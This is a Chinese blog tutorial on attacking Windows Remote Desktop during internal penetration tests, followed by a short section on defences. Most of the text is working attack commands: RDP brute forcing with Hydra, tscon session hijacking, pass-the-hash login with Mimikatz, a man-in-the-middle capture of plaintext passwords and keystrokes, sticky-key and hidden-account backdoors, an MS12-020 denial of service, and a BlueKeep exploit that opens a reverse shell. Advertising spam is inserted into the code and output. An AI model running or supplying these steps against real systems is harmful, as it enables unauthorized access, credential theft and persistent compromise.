内网渗透测试:初探远程桌面的安全问题

Windows Server 2019服务器远程桌面服务部署+深度学习环境配置教程 文章目录1.安装Windows Server 20192.开启WLAN服务3.固定IP地址4.开启远程桌面服务4.1 添加远程桌面服务4.2 激活服务器4.3 安装许可证5.配置远程桌面服务5.1 配置许可证服务器和授权模式5.2 配置连接模式5.3 启用计算机的远程功能5.4 设置用户能使用简单密码6.配置CUDA环境6.1 更新驱动6.2 安装CUDA6.3 安装cuDNN6.4 配置环境变量7.配置Anaconda+Pycharm环境7.1 安装Anaconda7.2 安装Pycharm8.配置Ten 阅读详情

目录

前言

RDP 协议

RDP 服务的确定和启动

RDP 服务的确定

RDP 服务的启动

RDP 服务的连接

对 RDP 口令进行暴力破解

RDP 劫持实现未授权登录

高权限用户劫持低权限用户的 RDP

低权限用户劫持高权限用户的 RDP

利用哈希传递登录 RDP 远程桌面

RDP 远程桌面中间人攻击

获取 RDP 远程桌面连接记录

导出当前用户的历史记录

导出已登录用户的历史记录

导出所有用户的历史记录

与远程桌面相关的权限维持方法

Windows 粘滞键与辅助功能后门

Windows 系统隐藏账户

与远程桌面相关的漏洞

对 3389 端口的 DOS 攻击

CVE-2019-0708

如何防御你的 RDP

添加安全策略以防止暴力破解

端口修改

通过系统自带防火墙保护 RDP


图片

前言

远程桌面对了解内网渗透的人来说可能再熟悉不过了。在渗透测试中,拿下一台主机后有时候会选择开 3389 进远程桌面查看一下对方主机内有无一些有价值的东西可以利用。但是远程桌面的利用不仅如此,本节我们便来初步汇总一下远程桌面在内网渗透中的各种利用姿势。

文中若有不当之处还请各位大佬多多点评

 

RDP 协议

RDP,Remote Desktop Protocol,远程桌面协议,该协议是对国际电信联盟发布的一个国际标准的多通道会议协议T.120 的一个扩展。远程桌面协议让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的 Windows、Linux、FreeBSD、Mac OS X 都有相应的客户端。远程桌面协议在服务端默认监听 TCP 3389 端口的数据。远程桌面协议为用户提供了通过网络连接远程登录到另一台计算机的图形界面。

RDP 服务的确定和启动

RDP 服务的确定

注册表查询

通过以下命令查询注册表来查看 RDP 服务是否开启:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服务是否开启: 1关闭, 0开启 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服务的端口

进程查看

通过以下命令来查看是否有 RDP 服务的进程:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服务是否开启: 1关闭, 0开启 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服务的端口

端口扫描

攻击者可以借助 Nmap 扫描来验证端口 3389 是否被打开:

nmap -sV -sC -p 3389 192.168.93.30

图片

RDP 服务的启动

如果发现 3389 并没有开启,我们使用以下方式开启它。

修改注册表启动

先通过修改注册表来设置一下允许远程桌面连接:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后可以再配置一下防火墙,设置为允许远程桌面连接,命令:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

通过 Metasploit 模块启动

拿到目标主机的 meterpreter 后,如果我们想登陆目标主机的远程桌面,我们可以使用 post/windows/manage/enable_rdp 模块对目标主机快速完成上述配置:

use post/windows/manage/enable_rdpset session 1exploit

RDP 服务的连接

开启目标主机的远程桌面后,我们便可以对目标主机进行连接了:

Linux 系统上的可以使用 rdesktop:

redesktop 192.168.93.30# redesktop IP

Windows系统上可以使用 mstsc.exe

特别要注意一下,有时候,仅开启了远程桌面还不行,在连接时可能出现以下报错:

图片

这就需要关闭鉴权模式,我们采用如下命令,这里0代表关闭,1代表开启:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

即取消 “仅允许运行使用网络界别身份验证的远程桌面的计算机连接” 这一安全设置。

图片

此时就可以正常连接了:

图片

对 RDP 口令进行暴力破解

在实战中,攻击者可以借助 Nmap 来扫描目标主机 3389 端口是否开启,如果目标主机开启了 3389 端口,那我们便可以对目标主机的远程桌面登录口令进行暴力猜解。

下面我们通过 Hydra 工具来展示对 RDP 进行爆破:

Hydra -v -f -l whoamianony\administrator -P /root/wordlists.txt rdp://192.168.93.30

图片

如上图所示,成功获取到目标主机 administrator 的登录口令,使用此凭据攻击者可以登录远程桌面服务:

图片

RDP 劫持实现未授权登录

对于开启远程桌面服务的 Windows 系统,当有多个用户登录该系统时,会产生多个会话,如下图:

其中,管理员用户 Administrator 为本地登录,用户 bunny 为通过远程桌面服务(RDP)连接 3389 端口的远程桌面登录。接下来,如果用户 Administrator 想要切换至用户 bunny 的远程桌面,可通过右键—> 连接(Connect)进行连接,接着输入密码即可切换到 bunny 用户:

图片

点击确定后,如下图所示,成功切换到了 bunny 用户的远程桌面:

图片

而且,在 Windows 中有一个 tscon 命令,是命令行下使用的工具,也可以实现与上述相同的功能。

首先执行如下命令获取用户对应的会话 ID:

query user

可以看到用户 bunny 对应的会话 ID 为 2,然后通过执行 tscon 命令即可成功切换至用户 bunny 的远程桌面,命令如下:

tscon 2 /PASSWORD:Bunny2021

/PASSWORD:bunny 用户的密码

可见,tscon 命令提供了一个切换用户会话的功能,并且,在正常情况下,切换会话时需要提供目标用户的登录密码。但这并不能完全确保会话安全,攻击者通过特殊的利用方法完全能够绕过验证,不输入密码即可切换到目标会话,从而实现目标用户的未授权登录。

而这里所讲的特殊的利用方法便是在 SYSTEM 权限下直接执行 tscon 会话切换命令:

tscon ID

此时攻击者可以在不提供其他用户登录凭据的情况下自由切换会话桌面,实现劫持其他用户的 RDP 会话。

RDP 会话劫持在特定情况下可以大显身手,比如对于较新的 Windows 系统,默认情况下是无法通过 Mimikatz 导出用户明文口令的,此时我们通过常规方法无法切换至另一用户的桌面,那么我们便可以借助上文提到的方法,先提权至 SYSTEM 权限,再劫持目标用户的 RDP 并切换过去。

特别注意的是,即使远程连接的用户关闭了远程连接窗口,也不会劫持该回话,只是在后台显示 “已断开连接”(Disconnected):

图片

此时,仍能在 SYSTEM 权限下通过tscon实现未授权连接。

高权限用户劫持低权限用户的 RDP

高权限用户劫持低权限用户的 RDP 会话利用起来比较简单,由于具有管理员权限,可以直接通过创建服务等方式获取 SYSTEM 权限。

创建劫持用户会话的服务:

sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"sc start rdp

执行sc start rdp后,我们创建的劫持会话的服务将会启动,由于 Windows 是以 SYSTEM 权限运行服务的,所以我们tscon 2命令也会以 SYSTEM 权限运行,此时便可以在不提供目标用户密码的情况下成功劫持目标用户的会话:

图片

其实也可以使用 Psexec 来获得一个 SYSTEM 权限的 cmd(Psexec 获得的 shell 是 SYSTEM 权限的),然后再这个 SYSTEM 权限的 cmd 中直接执行tscon 2劫持命令:

psexec -s -i cmd    # 获得一个 SYSTEM 权限的 cmdquser user    
# 在新获得的 SYSTEM 权限的 cmd 中执行劫持命令tscon 2 /dest:console

低权限用户劫持高权限用户的 RDP

低权限用户劫持高权限用户的 RDP 会话利用起来没有前者那么简单,因为权限太低,所以无法执行创建服务,执行 Psexec 等高权限的命令。所以如果低权限用户想要劫持高权限用户的 RDP 的话需要想办法提权,即将自己的权限提升至 SYSTEM。

实验环境如下:

图片

假设有这么一种情况,有一台 Windows Server 2012 系统的服务器,其本地登录着一个普通域用户 bunny:

我们通过某种方式获得了这个 bunny 用户的登录密码,并使用这个 bunny 用户成功进行远程登录:

此时,登录后查看任务管理器发现后台还存在管理员用户 Administrator 的会话:

图片

并且使用query user命令查看其会话 ID 为 1。接下来我们尝试劫持这个管理员用户的远程会话。

首先使目标主机上线一个 bunny 用户权限的 MSF,然后通过各种系统漏洞获得了目标机的 System 权限:

图片

然后进入 shell 中执行 tscon 命令进行劫持即可:

如上图所示,成功劫持并切换到了 Administrator 用户的远程桌面。

利用哈希传递登录 RDP 远程桌面

Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议,在这个新版协议中有一个 ”受限管理员” (Restricted Admin)的特性。相信渗透测试人员和系统管理员都会对这个特性有足够的兴趣,因为通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。

在抓取到的 Hash 无法破解的情况下,如果目标主机开启了 “Restricted Admin Mode” 也行,那么我们便可以使用 Hash 来直接实现 RDP 远程登录。Restricted Admin Mode 在 Windows 8.1 和 Windows Server 2012 R2 上默认开启。

我们在渗透过程中可以通过修改注册表的方式开启目标主机的 Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /fREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"    # 查看是否成功开启

如上图所示,成功在目标主机开启了 Restricted Admin Mode。

然后再攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行mstsc.exe /restrictedadmin来打开:

privilege::debugsekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

图片

报错了,说 CredSSP 加密数据库错误,大概是因为 Windows 10 家庭版的原因吧。然后俺有换了另一个版本的 Windows 成功了:

图片

注意,这里的受限管理员模式顾名思义只对管理员组有效。所以如果你获取到的用户属于远程桌面用户组,那么是无法通过 Hash 登录的。

RDP 远程桌面中间人攻击

中间人攻击通常会导致凭据捕获。同样的,在对 RDP 会话进行中间人攻击,攻击者可以获得一个登录用户的明文密码,用于后期的横向移动。当 RDP 爆破走不通时,我们不妨尝试一下中间人。

Seth是一个用 Python 和 Bash 编写的 RDP 中间人攻击自动化工具,通过尝试降级连接用以提取明文凭证来实现 MitM RDP 连接,而不管网络级别的身份验证(NLA)是否启用。

项目地址:https://github.com/SySS-Research/Seth

使用该工具所要求的环境:

Python 3

Tcpdump

Arpspoof

Openssl

运行界面如下:

图片

使用方法如下:

./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]

INTERFACE:网卡

ATTACKER IP:中间人 IP

VICTIM IP:连接者 IP

GATEWAY IP|HOST IP:被连接的远程主机 IP

COMMAND:启动时执行的命令

执行以下命令启动 seth 监听:

./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30
+WX:machinegunjoe666免费领取资料

然后当 PC 上的用户远程登录 DC 时便会抓取到登录用户的明文密码。不仅如此,还可以对用户键盘的操作进行记录,甚至使用<COMMAND>在目标主机上执行命令。

详情请看:https://www.freebuf.com/sectool/178146.html

攻击成功后类似如下:

# ./seth.sh eth0 192.168.93.128 192.168.93.20 192.168.93.30
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   seth@vollmer.syss.de
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] SpoofinG arp replies...
[*] TurninG on IP forwardinG...
[*] Set iptables rules for SYN packets...
[*] WaitinG for a SYN packet to the oriGinal destination...
[+] Got it! OriGinal destination is 192.168.93.30
[*] Clone the x509 certificate of the oriGinal destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
ListeninG for new connection
Connection received from 192.168.93.20:50431
DownGradinG authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, DownGradinG CredSSP
Connection lost
Connection received from 192.168.57.103:50409
ListeninG for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
ListeninG for new connection
Enable SSL
HidinG forGed protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (EnGlish_United_States)+WX:machinegunjoe666免费领取资料
Key press:   LShift
Key press:   S
Key release:                 S
Key release:                 LShift
Key press:   E
Key release:                 E
Key press:   C
Key release:                 C
Key press:   R
Key release:                 R
Key press:   E
Key release:                 E
Key press:   T
Key release:                 T
Connection lost
[*] CleaninG up...
[*] Done.

获取 RDP 远程桌面连接记录

在渗透测试中,远程桌面连接的历史记录不可忽视,根据历史记录往往能定位出关键的服务器。接下来我们就介绍一下如何导出 RDP 连接的历史记录。

获取 RDP 远程桌面连接记录可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。

导出当前用户的历史记录

可以通过枚举下面的注册表键值查看当前用户的历史记录:

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers

如下图所示,每个注册表项保存连接的服务器地址,其中的键值UsernameHint对应登录用户名:

看也可以通过 PowerShell 命令行来实现,首先通过以下命令枚举指定注册表项下所有的的子项,即当前用户所连接过的所有的主机名:

dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name

图片

然后使用以下命令查询指定注册表项的注册表键值,即查看连接所使用的用户名:

(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.93.30").UsernameHint

图片

下面给出一个三好学生写的枚举脚本:

$RegPath = "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\"
$QueryPath = dir $RegPath -Name
foreach($Name in $QueryPath)
{   
    Try  
    {  
        $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop | Out-Null).UsernameHint
            Write-Host "Server:"$Name
            Write-Host "User:"$User"`n"
        }
        Catch  
        {+WX:machinegunjoe666免费领取资料
        Write-Host "No RDP Connections History"
        }
}

导出已登录用户的历史记录

已登录用户的注册表信息会同步保存在HKEY_USERS\<SID>目录下,<SID>要对应每个用户的 SID:

可以看到,当前系统登录三个用户,分别有三个子项。我们可以通过枚举注册表键值

HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers

就能够获得已登录用户的远程桌面连接历史记录:

图片

也就是说,如果当前主机登录了两个用户,那么这两个用户的注册表信息都会保存在HKEY_USERS\<SID>下。但如果第三个用户未登录,此时是无法直接获得该用户的注册表信息的,会报如下错误:

图片

也就无法直接导出该用户的远程桌面连接历史记录。

最后给出一个三好学生写的枚举脚本:

$AllUser = Get-WmiObject -Class Win32_UserAccountforeach($User in $AllUser){$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"Write-Host "User:"$User.NameWrite-Host "SID:"$User.SIDWrite-Host "Status:"$User.StatusTry  { $QueryPath = dir $RegPath -Name -ErrorAction Stop}Catch{Write-Host "No RDP Connections History"Write-Host "----------------------------------"continue}foreach($Name in $QueryPath){   Try  {  $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHintWrite-Host "Server:"$NameWrite-Host "User:"$User}Catch  {Write-Host "No RDP Connections History"}}Write-Host "----------------------------------" }

导出所有用户的历史记录

前面刚说了,对于未登录用户,无法直接获得注册表配置信息,那有什么解决办法?其实这里可以通过加载配置单元的方式来解决,即打开用户的 NTUSER.DAT 文件,加载配置单元导入用户配置信息,然后进行枚举。

选中 HKEY_USERS 项,“文件” —> “加载配置单元”,如下图:

选择打开用户的 NTUSER.DAT 文件,路径为C:\Documents and Settings\用户名\NTUSER.DAT,这里以当前未登录的 moretz 用户为例:

接着指定一个项名称,即可在 HKEY_USERS 下读取该用户的注册表配置信息,如下图所示:

图片

然后按照之前的路径进行枚举即可。

此外,也可以通过命令行实现加载配置单元的实例:

Reg load HKEY_USERS\testmoretz C:\Documents and Settings\moretz\NTUSER.DAT

最后给出一个三好学生写的枚举脚本:

https://github.com/3gstudent/List-RDP-Connections-History

与远程桌面相关的权限维持方法

Windows 粘滞键与辅助功能后门

估计你在我之前的文章中已经看到过 Shift 粘滞键后门的相关介绍。如果你在电脑上连按五次 shift 键,你就会发现电脑屏幕上弹出了一个叫做“粘滞键”的程序:

即使在没有登录进系统之前,连按五次shift键也可以弹出这个程序:

思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将 cmd.exe 伪装成这个粘滞键程序,当我们连按五次 shift 键时,便会弹出一个 CMD 命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。

粘滞键程序名称为 “sethc.exe”,

其路径为“c:\windows\system32\sethc.exe”。

利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:

首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。

最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成功。

制作的方法如下,在目标主机上执行如下命令即可:

cd c:\windows\system32  move sethc.exe sethc.exe.bak   // 将sethc.exe重命名copy cmd.exe sethc.exe       // 将一个cmd.exe副本保存伪装成sethc.exe

图片

此时,我们打开目标主机的远程桌面,连续按下五次shift键,便可以看到目标主机屏幕上成功弹出了一个 CMD 窗口:

图片

如上图,该 cmd 是以 SYSTEM 权限运行的,接下来我们就可以无需知道登录密码,无需登录,直接绕过登录页面对目标主机执行各种高权限的操作了,也完全可以新建一个高权限用户直接登录进入系统,是不是很有意思?

但是,先别高兴地太早了,在一些做了防护的主机上,即使是SYSTEM权限也是无法修改 sethc.exe的,只有TrustedInstaller权限才可以,这时,我们就要先模拟一个TrustedInstaller权限的令牌获取TrustedInstaller权限,然后再执行上述操作。我们的思路如下:

当我们启动TrustedInstaller服务时

会启动进程TrustedInstaller.exe,

该程序的权限为NT SERVICE\TrustedInstaller,那么我们就可以窃取该进程的令牌。

首先进入shell启动TrustedInstaller服务:

sc.exe start TrustedInstaller       # 先进入shell启动TrustedInstaller服务

然后执行如下即可:

use incognitops      # 找到TrustedInstaller的进程PID,这里为3476steal_token <PID>      # 从该进程中窃取令牌getuid

图片

此时便可以对 sethc.exe 进行任何操作了。

由于此时获得的 CMD 是 SYSTEM 权限的,所以我们这里可以直接配合 RDP 劫持进去目标系统。如下图所示,发现目标主机上有三个用户的会话,那我们便可以通过tscon进行随意的劫持与切换:

图片

执行tscon 1命令后,如下图所示,成功劫持并切换到了 administrator 用户的会话:

除了这里的粘滞键 sethc 外,在 Windows 登录界面上还有很多辅助功能:

图片

如上图所示,可以看到有屏幕键盘,放大镜,屏幕阅读等,这些额外的辅助功能选项可以帮助残疾人更容易地使用操作系统。这些辅助功能都可以像粘滞键 sethc 一样被攻击者用来制作一个后门。

Metasploit 中的post/windows/manage/sticky_keys模块可实现自动化地利用沾滞键的权限维持技术。该模块将用 cmd.exe 替换那些辅助功能的二进制文件(sethc、osk、disp、utilman):

图片

使用方法如下:

use post/windows/manage/sticky_keysset session 6set target UTILMANexploit

图片

如上图所示,执行成功。

此时,我们开启目标主机的远程桌面,当我们点击左下角的辅助功能按钮后,成功弹出了 CMD 窗口,并且为 SYSTEM 权限的:

不仅是 CMD,我们还可以换成任意的 Payload 用于钓鱼,当受害者使用响应功能时便会触发 Payload 实施攻击。

Windows 系统隐藏账户

该方法是通过建立隐藏账户,制作一个可以对目标主机进行远程桌面等的的系统用户,维持对目标 Windows 系统权限。制作方法跟步骤如下:

(1)在目标主机 cmd 中输入以下命令,创建一个与这鞥长域用户 whoami 类似反名为 whoami$ 的隐藏账户,并把该隐藏账户设置为管理员权限:

net user whoami$ Liu78963 /addnet localgroup administrators whoami$ /add

图片

如上图,我们已经创建成功,执行 net user 命令,发现是看不到 whoami$ 用户的:

图片

然后,为了能使刚创建的 whoami$ 用户有权限登录目标机的远程桌面,我们还需要在计算机远程中添加 admin$ 用户:

图片

此时便可以直接使用该隐藏用户登录 3389 远程桌面进行操作了:

但是此时隐蔽性仍不足,因为在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的:

为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。

打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择 “权限”,把 Administrator 用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。

图片

这样 SAM 下的文件就都能看见了。

然后,在注册表编辑器的

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,

点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录 “000001F4”:

复制000001F4目录中的 F 键的值:

然后找到与隐藏账户 whoami$ 右边类型的键值 “0x3ea” 相同的目录名,也就是 “000003EA”:

图片

然后将000001F4的F值粘贴到000003EA的F值中,点击确定:

图片

然后从注册表中右键导出子项000003EA和 whoami$ ,并使用net user whoami$ /del删除 whoami$ 用户:

此时,查看注册表以及本地用户和组或者控制面板,whoami$ 用户就已经没有了。

最后,再将刚才导出的两个后缀为 .reg 的注册表项导入注册表中:

这样我们的隐藏账户 whoami$ 就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到 whoami$ 这个账户的,只有在注册表中才能看得到。

与远程桌面相关的漏洞

对 3389 端口的 DOS 攻击

这一利用借助的是 2012 年爆出来的 MS12-020 远程桌面协议 RDP 远程代码执行漏洞(CVE-2012-0002)。该漏洞是由于 Windows 在处理某些对象时存在错误,可通过特制的 RDP 报文访问未初始化或已经删除的对象,导致任意代码执行,然后控制系统。下面我们使用 Windows 7 系统进行复现。

在 Metasploit 中有两个该漏洞的利用模块:

图片

首先为了确定目标主机是否容易受到该漏洞的影响,可以先使用第二个命令来进行检测:

use auxiliary/scanner/rdp/ms12_020_checkset rhosts 192.168.93.20set rport 3389exploit

图片

目标机存在漏洞,然后尝试使用第一个模块进行攻击,这将对目标系统发起 DOS 攻击,最终导致目标系统蓝屏:

use auxiliary/dos/windows/rdp/ms12_020_maxchannelidsset rhosts 192.168.93.20set rport 3389exploit

如下图所示,“死亡蓝屏” 出现啦:

从上图中可以看到目标系统是由于某些问题导致系统正在关闭。DoS 攻击执行者通常攻击托管在诸如银行或信用卡支付网关等高端 Web 服务器上的站点或服务,通过暂时或无限期地中断连接 Internet 的主机服务,使其目标用户无法使用机器或网络资源。

CVE-2019-0708

2019 年 5 月 14 日微软官方发布安全补丁,修复了 Windows 远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口 3389,RDP 协议进行攻击的。

此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机,其方式与 2017 年 WannaCry 恶意软件的传播方式类似。

它影响了某些旧版本的 Windows 系统,包括:

Windows 7 foR 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 foR 32-bit Systems Service Pack 2

Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows XP SP3 x86

Windows XP Professional x64 Edition SP2

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 x64 Edition SP2

Windows 8 和 Windows 10 及之后版本的用户不受此漏洞的影响。

在 Metasploit 中已经有了该漏洞的利用模块:

第一个模块用来检测目标机是否存在漏洞,第二个模块用来进行攻击。设置好参数直接利用即可:

use exploit/windows/rdp/cve_2019_0708_bluekeep_rceset payload windows/x64/meterpreter/reverse_tcpset rhosts 192.168.93.20set lhost 192.168.93.128set rdp_client_ip 192.168.93.20unset RDP_CLIENT_NAMset target 2    # 这里的 2 代表目标机为虚拟机环境exploit

如下图所示,攻击成功并得到了 meterpreter:

图片

如何防御你的 RDP

添加安全策略以防止暴力破解

管理员可以使用帐户锁定策略保护其网络免受暴力破解攻击,具体有以下相关策略:

帐户锁定持续时间:用于定义锁定帐户保持时间段的策略,直到自动解锁或由管理员重置。当用户超过帐户锁定阈值设置的登录尝试时,它将锁定帐户指定的时间。

帐户锁定阈值:定义失败登录尝试次数的策略,将在帐户锁定持续时间指定的某段时间内锁定帐户。它将允许最大数量指定尝试登录您的帐户。

被锁账户锁定计数器:用于定义登录尝试失败后必须经过的时间段的策略。重置时间必须小于或等于帐户锁定时间。

端口修改

可以在另一个端口上转发端口 3389 以提高系统的安全性。我们可以导航到下面的注册表子项进行修改:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

单击 “编辑”>“修改” ,然后单击“十进制”并键入新端口号,单击“确定” 后重新启动计算机即可生效。

也可以运行以下 PowerShell 命令来更改 RDP 端口,在此命令中,我们会将新的 RDP 端口指定为 3390:

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value 3390New-NetFirewallRule -DisplayName 'RDPPORTLatest' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort 3390

+WX:machinegunjoe666免费领取资料

通过系统自带防火墙保护 RDP

我们可以打开具有高级设置的防火墙的面板,设定远程桌面的 TCP-In 相关配置从而添加安全过滤器。

最后,祝大家早日学有所成,拿到满意offer,快速升职加薪,走上人生巅峰。

可以的话请给我一个三连支持一下哦→【获取资料】←

使用rdpproxy和rdpy对RDP进行中间人攻击的总结 RDP远程桌面协议分析 一、总述     本文是想通过分析对RDP协议进行协议还原,在总述这章描述了本次分析后对RDP协议还原的可行性;在第二、三章节描述了RDP协议交互的具体过程;在第四章节描述了使用中间人攻击的方法进行解密的可行性测试;在第五章节列出了本次分析过程中参考的相关资料。 1.分析目的 通过分析能够对使用RDP协议的远程控制工具的操作进行还原,比如:在远程过程中对远程桌面的文 阅读详情

相关推荐

【Windows Server 2019】远程控制的配置与管理

博文先介绍了Windows Server 远程桌面功能,RDP协议,以及实验拓扑图与说明。再说明了如何配置远程桌面服务,包括创建远程访问账户,开启远程桌面服务,删除默认账户权限,最后验证远程桌面服务。

VMware, Windows, Linux, Cisco, Container, Kubernetes, Kali 4万+

WIN Server19 远程桌面连接(网络安全测试)

WIN Server19 远程桌面连接

m0_64139836的博客 4660

rdpproxy代理软件,很不错的

rdpproxy代理 很好的学习代码

rdp加固策略 防止暴力破解

rdp加固

u014551778的博客 2763

RK3588S开发板实战:手把手教你搞定IMX415摄像头驱动配置(附调试日志分析)

本文提供了一份详细的RK3588S开发板配置IMX415摄像头驱动的实战指南。内容涵盖从环境准备、内核驱动编译、设备树节点编写到调试日志分析的完整流程,并重点解析了摄像头调试过程中的常见问题与解决方案,帮助开发者快速完成驱动配置与功能验证。

weixin_28285943的博客 209

OCTA-500:用于光学相干断层扫描血管造影研究的视网膜数据集|文献速递-基于生成模型的数据增强与疾病监测应用

数据集提供了丰富的图像和注释,包括两种模态(OCT/OCTA体积)、六种投影类型、四种文本标签(年龄/性别/眼别/疾病)以及七种分割标签(大血管/毛细血管/动脉/静脉/2D FAZ/3D FAZ/视网膜层)。我们介绍了新的 OCTA-500 数据集,该数据集包含来自 500 名受试者的 OCTA 成像,并提供了丰富的图像和标注集。(C) OCTA-500 切片的人工标注示例。图 4. OCTA-500 数据集中文本标签的统计直方图:(a) 性别,(b) 眼别,(c) 年龄,(d) 疾病。

weixin_38594676的博客 1439

内网渗透测试:获取远程桌面连接记录与 RDP 凭据

Windows 远程桌面是用于管理 Windows服务器的最广泛使用的工具之一。管理员喜欢使用远程桌面,攻击者也喜欢使用(狗头)。在之前的文章中我们已经介绍了很多攻击远程桌面的方法,本篇文章我们继续来探究。在渗透测试中,RDP远程桌面连接的历史记录不可忽视,根据历史连接记录我们往往能够定位出关键的服务器。并且,当我们发现了某台主机上存在远程桌面的连接记录,我们还可以想办法获取其远程桌面登录历史的连接凭据。用于登录RDP 远程桌面会话的凭据通常具有特权,这使它们成为红队操作期间的完美目标。

qq_53058639的博客 1336

Python Trimesh库实战:5分钟搞定STL文件解析与3D模型可视化

本文介绍了如何使用Python的Trimesh库快速解析STL文件并进行3D模型可视化。通过简洁的代码示例,演示了从环境搭建、模型加载、几何数据提取到基础变换和批量处理的核心流程,帮助开发者和工程师在5分钟内高效完成3D数据处理与可视化任务。

weixin_32005771的博客 161

内网渗透测试:登录远程桌面的别样姿势

远程桌面在内网渗透中可以说是再常见不过了,在渗透测试中,拿下一台主机后有时候会选择开 3389进远程桌面查看一下对方主机内有无一些有价值的东西可以利用。但如果我们仅拿到了目标服务器的特权却抓不出用户密码,或者只能抓取密码哈希,在这两种情况下我们还能登录远程桌面吗?当然可以,本篇文章就对这两种情况提出了响应的应对方案。

A_991128a的博客 315

